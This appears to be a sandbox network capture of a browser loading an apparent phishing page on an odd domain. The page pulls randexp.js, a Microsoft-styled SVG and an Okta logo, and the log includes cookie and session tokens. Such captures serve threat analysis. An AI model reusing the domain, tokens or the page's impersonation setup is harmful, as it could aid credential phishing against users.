laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:56 UTC	654	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:56 GMT Content-Type: image/png Content-Length: 1400 Connection: close Content-Disposition: inline; filename="ijPcVEeSmCWpySyuFQYrrGLm25YHKajvsXLAqraImEwhmVt1OeTi6J3V3vyz230" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0%2BNHcH1i7CSCG6X7f7HrZPFlu5krIV54RCJkXTXk843Ncs%2FAOjkZxjibDxWdCgtGr0tafVLQi4irkeqy46Qji0azDo5yYKYKnMncMXUS7RfgLLQLAVR0kS0GgGsoCQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc0766b070f5d-EWR
2024-08-23 14:21:56 UTC	715	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 6c 00 00 00 18 08 06 00 00 00 1f d5 18 1a 00 00 05 3f 49 44 41 54 68 43 ed 58 bd 6e 13 41 10 be 4b d2 d0 20 87 b4 48 38 bc 00 c9 13 10 37 50 c6 ee 91 70 9e 00 e7 af 26 ae f3 83 f3 04 18 89 3e 97 92 34 98 27 c0 79 81 60 24 5a c0 d0 d0 24 31 df b7 9a 39 8d 97 3b bc 91 0c 77 91 7c d2 c9 f6 7a 76 76 76 be f9 8f 7f d6 1f 8e a2 b0 e7 db dd e4 62 e9 e5 59 f4 15 e4 f7 42 b6 b4 9f 44 71 08 dd 8c 26 5c 03 f1 0c b0 70 65 95 81 72 06 58 19 50 b8 81 0c 33 c0 6e a0 ac 7f 4d da 6a b5 aa f3 f3 f3 2b a3 d1 a8 72 7d 7d 9d 74 3a 9d a1 7f 66 61 80 6d 6d 6d 35 55 18 08 d9 df df df ef e7 29 64 77 77 77 e5 ea ea 6a 85 ff c7 71 3c 3c 3c 3c 4c f8 7d 67 67 67 0d 1f eb 97 97 97 ed ac cb fd 6b 05 4f 93 3f f4 d1 c2 dd 5e 82 67 Data Ascii: PNGIHDRl?IDAThCXnAK H87Pp&>4'y`$Z$19;w\|zvvvbYBDq&\perXP3nMj+r}}t:fammm5U)dwwwjq<<<<L}gggkO?^g
2024-08-23 14:21:56 UTC	685	IN	Data Raw: 8a 26 e8 36 af 32 42 e0 7d c3 2a 56 ce 70 f2 9b 42 c9 f2 22 0d ef ca 27 c1 9e 4d 18 01 73 f0 73 91 99 b2 fa 1e 56 25 2d d6 3f 38 79 43 14 3f 6d 1a 1f b0 85 85 05 7a 09 15 9d 26 5d 5c 98 56 4e eb 73 1e 85 d0 f2 6a 12 60 c6 ea 19 02 6b 59 ad 82 05 0c fc 36 34 d4 59 10 ec ba 28 5f 65 61 5b e1 72 8c c8 1b 31 42 f8 e7 18 d9 1d bd 17 35 18 02 e9 c5 69 a1 75 a3 1c 16 bd fd 1e e6 61 51 f4 2b 7a b6 78 7f f4 2e fa 82 b3 82 3c 2c 7e 1a e6 61 cc 1d 10 7a 2c bc 49 85 54 87 62 da 50 ea 5e 08 60 ba 07 f2 8d 79 aa 35 38 0b 18 2c 7c 51 fb b7 bc 75 dd ab 2d 84 86 5f 95 97 ff fb 6d 85 31 1c e7 91 f6 7c 6b ac 6a 18 37 05 2c 78 f8 0b c0 96 00 58 f0 f0 17 80 65 7a b0 ef 61 04 8c 8d b4 58 de 00 8a 5c 45 98 24 80 15 2d f7 03 01 73 a0 ff ad 2f b3 39 4c fb 39 2a d4 28 39 b3 0a 55 Data Ascii: &62B}VpB"'MssV%-?8yC?mz&]\VNsj`kY64Y(_ea[r1B5iuaQ+zx.<,~az,ITbP^`y58,\|Qu-_m1\|kj7,xXezaX\E$-s/9L9(9U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.16	49799	185.199.110.133	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:55 UTC	860	OUT	GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20240823%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240823T142154Z&X-Amz-Expires=300&X-Amz-Signature=addaa2fb7613bd2240d82063b941692dc1cffc01a094b5cf196222983477917b&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=2925284&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1 Host: objects.githubusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:55 UTC	848	IN	HTTP/1.1 200 OK Connection: close Content-Length: 10245 Content-Type: application/octet-stream Last-Modified: Tue, 07 Dec 2021 16:38:45 GMT ETag: "0x8D9B9A009499A1E" Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: c04d24d1-701e-006d-40c9-dd551e000000 x-ms-version: 2020-10-02 x-ms-creation-time: Tue, 17 Aug 2021 14:57:31 GMT x-ms-blob-content-md5: bCCivoupALwKcRiJOisQcg== x-ms-lease-status: unlocked x-ms-lease-state: available x-ms-blob-type: BlockBlob Content-Disposition: attachment; filename=randexp.min.js x-ms-server-encrypted: true Via: 1.1 varnish, 1.1 varnish Fastly-Restarts: 1 Accept-Ranges: bytes Date: Fri, 23 Aug 2024 14:21:55 GMT Age: 3703 X-Served-By: cache-iad-kiad7000071-IAD, cache-ewr-kewr1740058-EWR X-Cache: HIT, HIT X-Cache-Hits: 3138, 1 X-Timer: S1724422916.587794,VS0,VE1
2024-08-23 14:21:55 UTC	1378	IN	Data Raw: 2f 2f 0a 2f 2f 20 72 61 6e 64 65 78 70 20 76 30 2e 34 2e 33 0a 2f 2f 20 43 72 65 61 74 65 20 72 61 6e 64 6f 6d 20 73 74 72 69 6e 67 73 20 74 68 61 74 20 6d 61 74 63 68 20 61 20 67 69 76 65 6e 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 2e 0a 2f 2f 0a 2f 2f 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 32 30 31 36 20 62 79 20 52 6f 6c 79 20 46 65 6e 74 61 6e 65 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 66 65 6e 74 29 0a 2f 2f 20 4d 49 54 20 4c 69 63 65 6e 73 65 0a 2f 2f 20 68 74 74 70 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 66 65 6e 74 2f 72 61 6e 64 65 78 70 2e 6a 73 2f 72 61 77 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 20 0a 2f 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 22 52 61 6e 64 45 78 70 22 Data Ascii: //// randexp v0.4.3// Create random strings that match a given regular expression.//// Copyright (C) 2016 by Roly Fentanes (https://github.com/fent)// MIT License// http://github.com/fent/randexp.js/raw/master/LICENSE //!function(){var e="RandExp"
2024-08-23 14:21:55 UTC	1378	IN	Data Raw: 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 2e 72 61 6e 64 49 6e 74 26 26 28 65 2e 72 61 6e 64 49 6e 74 3d 74 2e 72 61 6e 64 49 6e 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 2c 74 29 7b 76 61 72 20 6e 2c 69 2c 70 2c 68 2c 63 3b 73 77 69 74 63 68 28 65 2e 74 79 70 65 29 7b 63 61 73 65 20 6c 2e 52 4f 4f 54 3a 63 61 73 65 20 6c 2e 47 52 4f 55 50 3a 69 66 28 65 2e 66 6f 6c 6c 6f 77 65 64 42 79 7c 7c 65 2e 6e 6f 74 46 6f 6c 6c 6f 77 65 64 42 79 29 72 65 74 75 72 6e 22 22 3b 66 6f 72 28 65 2e 72 65 6d 65 6d 62 65 72 26 26 76 6f 69 64 20 30 3d 3d 3d 65 2e 67 72 6f 75 70 4e 75 6d 62 65 72 26 26 28 65 2e 67 72 6f 75 70 4e 75 6d 62 65 72 3d 74 2e 70 75 73 68 28 6e 75 6c 6c 29 2d 31 29 2c 6e 3d 65 2e 6f 70 74 69 6f 6e 73 3f 61 2e 63 61 6c 6c Data Ascii: ),"function"==typeof t.randInt&&(e.randInt=t.randInt)}function u(e,t){var n,i,p,h,c;switch(e.type){case l.ROOT:case l.GROUP:if(e.followedBy\|\|e.notFollowedBy)return"";for(e.remember&&void 0===e.groupNumber&&(e.groupNumber=t.push(null)-1),n=e.options?a.call
2024-08-23 14:21:55 UTC	1378	IN	Data Raw: 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 2e 72 61 6e 64 65 78 70 28 74 68 69 73 29 7d 7d 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 66 61 75 6c 74 52 61 6e 67 65 3d 6e 65 77 20 68 28 33 32 2c 31 32 36 29 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 72 61 6e 64 49 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 2b 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 28 31 2b 74 2d 65 29 29 7d 7d 2c 7b 22 64 69 73 63 6f 6e 74 69 6e 75 6f 75 73 2d 72 61 6e 67 65 22 3a 32 2c 72 65 74 3a 33 7d 5d 2c 32 3a 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 74 29 7b 74 68 69 73 2e 6c 6f 77 3d 65 2c 74 68 69 73 2e 68 69 67 68 3d 74 2c 74 68 69 73 2e 6c 65 Data Ascii: en=function(){return c.randexp(this)}},c.prototype.defaultRange=new h(32,126),c.prototype.randInt=function(e,t){return e+Math.floor(Math.random()*(1+t-e))}},{"discontinuous-range":2,ret:3}],2:[function(e,t,n){function r(e,t){this.low=e,this.high=t,this.le
2024-08-23 14:21:55 UTC	1378	IN	Data Raw: 2e 6c 65 6e 67 74 68 3b 29 74 2e 70 75 73 68 28 73 2e 72 61 6e 67 65 73 5b 6e 5d 2e 63 6c 6f 6e 65 28 29 29 2c 6e 2b 2b 3b 73 2e 72 61 6e 67 65 73 3d 74 2c 61 28 73 29 7d 76 61 72 20 73 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 6f 3f 65 2e 72 61 6e 67 65 73 2e 66 6f 72 45 61 63 68 28 6e 29 3a 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 72 3f 6e 28 65 29 3a 28 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 74 3d 65 29 2c 6e 28 6e 65 77 20 72 28 65 2c 74 29 29 29 2c 74 68 69 73 7d 2c 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 73 75 62 74 72 61 63 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6e 3d 30 3b 6e 3c 73 2e 72 61 6e 67 65 73 2e 6c 65 6e 67 74 68 26 26 Data Ascii: .length;)t.push(s.ranges[n].clone()),n++;s.ranges=t,a(s)}var s=this;return e instanceof o?e.ranges.forEach(n):e instanceof r?n(e):(void 0===t&&(t=e),n(new r(e,t))),this},o.prototype.subtract=function(e,t){function n(e){for(var t=[],n=0;n<s.ranges.length&&
2024-08-23 14:21:55 UTC	1378	IN	Data Raw: 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 44 22 3a 68 2e 70 75 73 68 28 61 2e 6e 6f 74 49 6e 74 73 28 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 73 22 3a 68 2e 70 75 73 68 28 61 2e 77 68 69 74 65 73 70 61 63 65 28 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 53 22 3a 68 2e 70 75 73 68 28 61 2e 6e 6f 74 57 68 69 74 65 73 70 61 63 65 28 29 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 2f 5c 64 2f 2e 74 65 73 74 28 6e 29 3f 68 2e 70 75 73 68 28 7b 74 79 70 65 3a 6f 2e 52 45 46 45 52 45 4e 43 45 2c 76 61 6c 75 65 3a 70 61 72 73 65 49 6e 74 28 6e 2c 31 30 29 7d 29 3a 68 2e 70 75 73 68 28 7b 74 79 70 65 3a 6f 2e 43 48 41 52 2c 76 61 6c 75 65 3a 6e 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 7d 29 7d 62 72 65 61 6b 3b 63 61 73 65 22 5e 22 3a 68 2e 70 75 73 68 28 73 2e Data Ascii: );break;case"D":h.push(a.notInts());break;case"s":h.push(a.whitespace());break;case"S":h.push(a.notWhitespace());break;default:/\d/.test(n)?h.push({type:o.REFERENCE,value:parseInt(n,10)}):h.push({type:o.CHAR,value:n.charCodeAt(0)})}break;case"^":h.push(s.
2024-08-23 14:21:55 UTC	1378	IN	Data Raw: 68 26 26 63 28 69 29 2c 68 2e 70 75 73 68 28 7b 74 79 70 65 3a 6f 2e 52 45 50 45 54 49 54 49 4f 4e 2c 6d 69 6e 3a 30 2c 6d 61 78 3a 31 2f 30 2c 76 61 6c 75 65 3a 68 2e 70 6f 70 28 29 7d 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 68 2e 70 75 73 68 28 7b 74 79 70 65 3a 6f 2e 43 48 41 52 2c 76 61 6c 75 65 3a 6e 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 7d 29 7d 72 65 74 75 72 6e 20 30 21 3d 3d 6c 2e 6c 65 6e 67 74 68 26 26 72 2e 65 72 72 6f 72 28 65 2c 22 55 6e 74 65 72 6d 69 6e 61 74 65 64 20 67 72 6f 75 70 22 29 2c 75 7d 2c 74 2e 65 78 70 6f 72 74 73 2e 74 79 70 65 73 3d 6f 7d 2c 7b 22 2e 2f 70 6f 73 69 74 69 6f 6e 73 22 3a 34 2c 22 2e 2f 73 65 74 73 22 3a 35 2c 22 2e 2f 74 79 70 65 73 22 3a 36 2c 22 2e 2f 75 74 69 6c 22 3a 37 7d 5d 2c 34 3a 5b 66 75 Data Ascii: h&&c(i),h.push({type:o.REPETITION,min:0,max:1/0,value:h.pop()});break;default:h.push({type:o.CHAR,value:n.charCodeAt(0)})}return 0!==l.length&&r.error(e,"Unterminated group"),u},t.exports.types=o},{"./positions":4,"./sets":5,"./types":6,"./util":7}],4:[fu
2024-08-23 14:21:55 UTC	1378	IN	Data Raw: 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 36 35 32 37 39 7d 5d 7d 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 5b 7b 74 79 70 65 3a 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 31 30 7d 2c 7b 74 79 70 65 3a 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 31 33 7d 2c 7b 74 79 70 65 3a 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 38 32 33 32 7d 2c 7b 74 79 70 65 3a 72 2e 43 48 41 52 2c 76 61 6c 75 65 3a 38 32 33 33 7d 5d 7d 3b 6e 2e 77 6f 72 64 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 53 45 54 2c 73 65 74 3a 61 28 29 2c 6e 6f 74 3a 21 31 7d 7d 2c 6e 2e 6e 6f 74 57 6f 72 64 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 53 45 54 2c 73 65 74 3a 61 28 29 2c 6e 6f 74 3a 21 30 7d 7d 2c 6e 2e 69 6e Data Ascii: r.CHAR,value:65279}]},i=function(){return[{type:r.CHAR,value:10},{type:r.CHAR,value:13},{type:r.CHAR,value:8232},{type:r.CHAR,value:8233}]};n.words=function(){return{type:r.SET,set:a(),not:!1}},n.notWords=function(){return{type:r.SET,set:a(),not:!0}},n.in
2024-08-23 14:21:55 UTC	599	IN	Data Raw: 68 69 74 65 73 70 61 63 65 28 29 29 3b 65 6c 73 65 20 69 66 28 61 5b 34 5d 29 69 2e 70 75 73 68 28 6f 2e 6e 6f 74 57 6f 72 64 73 28 29 29 3b 65 6c 73 65 20 69 66 28 61 5b 35 5d 29 69 2e 70 75 73 68 28 6f 2e 6e 6f 74 49 6e 74 73 28 29 29 3b 65 6c 73 65 20 69 66 28 61 5b 36 5d 29 69 2e 70 75 73 68 28 6f 2e 6e 6f 74 57 68 69 74 65 73 70 61 63 65 28 29 29 3b 65 6c 73 65 20 69 66 28 61 5b 37 5d 29 69 2e 70 75 73 68 28 7b 74 79 70 65 3a 72 2e 52 41 4e 47 45 2c 66 72 6f 6d 3a 28 61 5b 38 5d 7c 7c 61 5b 39 5d 29 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 2c 74 6f 3a 61 5b 31 30 5d 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 7d 29 3b 65 6c 73 65 7b 69 66 28 21 28 73 3d 61 5b 31 32 5d 29 29 72 65 74 75 72 6e 5b 69 2c 75 2e 6c 61 73 74 49 6e 64 65 78 5d 3b 69 2e 70 75 Data Ascii: hitespace());else if(a[4])i.push(o.notWords());else if(a[5])i.push(o.notInts());else if(a[6])i.push(o.notWhitespace());else if(a[7])i.push({type:r.RANGE,from:(a[8]\|\|a[9]).charCodeAt(0),to:a[10].charCodeAt(0)});else{if(!(s=a[12]))return[i,u.lastIndex];i.pu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.16	49797	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:55 UTC	1526	OUT	GET /klOfYNJikxU2rmLmoZX2LlJ6klg8apYwJXpKXmHeWRPdOswx220 HTTP/1.1 Host: 4quqe.oustfemin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlZOV0U5WUg4T1BKb2pHTWFObWI3UFE9PSIsInZhbHVlIjoicC9Dbm9TaVVLNTJsRGtSdWU1N3ZJZ3QvVWdtTDJmRGhhQ2JNMGUvckM4aU9HOHArT2VVSDlVcnNJb2dJaHMrOUhxRldESVRjdFVTOXovWC9yUDlLcS9vVkVLQWtENzRmY2VOeCs3TGEySVg2b0I3OGh0WEo3eEFvUDFURlpVQTgiLCJtYWMiOiI1ZWIzMzJmMmRiNjFkYzMzZDkyYTM3OTMyYTFjZWI1YzgxZWYzMTYwOTE5MTI0YzFiYzZmMDQ2YTE4NzNjNTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlpSLzZ3c3lreEg5d1JqTitFVFpnYkE9PSIsInZhbHVlIjoiNFYyamREZXlGbjVPYlNoZTNXUHB3d0VMdURFbUFsUTFWM2JONi9FdUR5aE1rUiszU2xPZ01XbkcvbVlkY2hDeHpRdnI1OWw1dXF4blFFRnd6S0tTQjlQTkFlVjA1cktxRkJVZFpCcThLWE5idFFsdE5aWk53UkEyN3FIT2E4d3EiLCJtYWMiOiI4NjY3MDkyMjljMjA0MWM1ZjJlODMwNDAwOWUxZmViMTQxNmIwNzQ4NzhmMDM1ZDZjYWIxZWMyNDBiZWI2MmUzIiwidGFnIjoiIn0%3D
2024-08-23 14:21:56 UTC	652	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:56 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="klOfYNJikxU2rmLmoZX2LlJ6klg8apYwJXpKXmHeWRPdOswx220" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F56O4PsNmt72wAjAOU6xWIsBPA0VNAhU64spSrNuDsadGNVmxkKnUrlOp5THnTiqJx7Y25PAKv4cuR7mCEO9DjJvOaLxXYkYiF4e%2Fzn2vVegK9U26kt5KByTa%2FGLHQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8b7bc0768b68c33b-EWR
2024-08-23 14:21:56 UTC	717	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-08-23 14:21:56 UTC	1154	IN	Data Raw: 31 32 31 35 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 44 29 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 41 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 34 36 36 2e 34 20 33 39 33 2e 36 29 20 72 6f 74 61 74 65 28 39 30 29 20 73 63 61 6c 65 28 31 34 30 31 2e 36 20 31 37 32 30 2e 38 29 22 3e 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 31 30 37 63 31 30 22 2f 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 63 34 63 34 63 34 22 20 73 74 6f 70 Data Ascii: 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop
2024-08-23 14:21:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.16	49798	65.9.86.83	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:55 UTC	613	OUT	GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://4quqe.oustfemin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:56 UTC	683	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 10796 Connection: close Date: Mon, 19 Aug 2024 08:19:47 GMT Server: nginx Last-Modified: Tue, 23 Feb 2021 04:20:08 GMT ETag: "12bdacc832185d0367ecc23fd24c86ce" Expires: Tue, 19 Aug 2025 08:19:47 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes X-Cache: Hit from cloudfront Via: 1.1 e13e8f228afcbd0862f27c6ebd714878.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS1-C1 X-Amz-Cf-Id: 3SPA6V_J4y7AuUhMpNuFJMjyrzOgRK_0-AAOWmVu8ZIuazc7BF3gNA== Age: 367328
2024-08-23 14:21:56 UTC	10796	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 a4 00 00 00 5e 08 06 00 00 00 6c 32 60 fe 00 00 29 f3 49 44 41 54 78 da ed 7d 09 9c 1c 55 9d ff a0 8b 20 77 a6 eb bd 1a 42 10 10 50 24 8a 48 76 09 c9 74 d5 ab ea 09 91 b8 a0 78 84 45 41 40 04 51 60 81 45 14 d0 15 02 88 c8 2d ec 8a 9c 22 97 28 e7 9f e5 58 60 89 11 44 2e c3 11 c8 35 5d 5d 55 7d cd 95 c9 9d 90 83 24 33 ff df af aa 26 e9 cc bc d7 67 75 4f 77 cf fb 7d 3e ef 13 98 99 ae 7e f5 8e df f7 77 ff 5a 5a 9a 84 12 7a eb be 96 d6 46 5a 24 49 92 24 49 92 a4 d1 a0 b8 4e fe b3 c7 a4 9d 09 9d ac 74 74 b2 24 65 90 c5 09 4d f9 c5 bc e9 ea ae 72 75 24 49 92 24 49 52 d5 68 81 41 76 4b 30 c5 74 19 b9 77 79 87 3a 98 31 e8 a0 a5 93 c1 44 ce 48 c3 cf d6 4c 53 07 01 98 92 69 46 7e b6 58 8f c4 e0 73 6d 72 f5 24 Data Ascii: PNGIHDR^l2`)IDATx}U wBP$HvtxEA@Q`E-"(X`D.5]]U}$3&guOw}>~wZZzFZ$I$INtt$eMru$I$IRhAvK0twy:1DHLSiF~Xsmr$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.16	49801	188.114.96.3	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
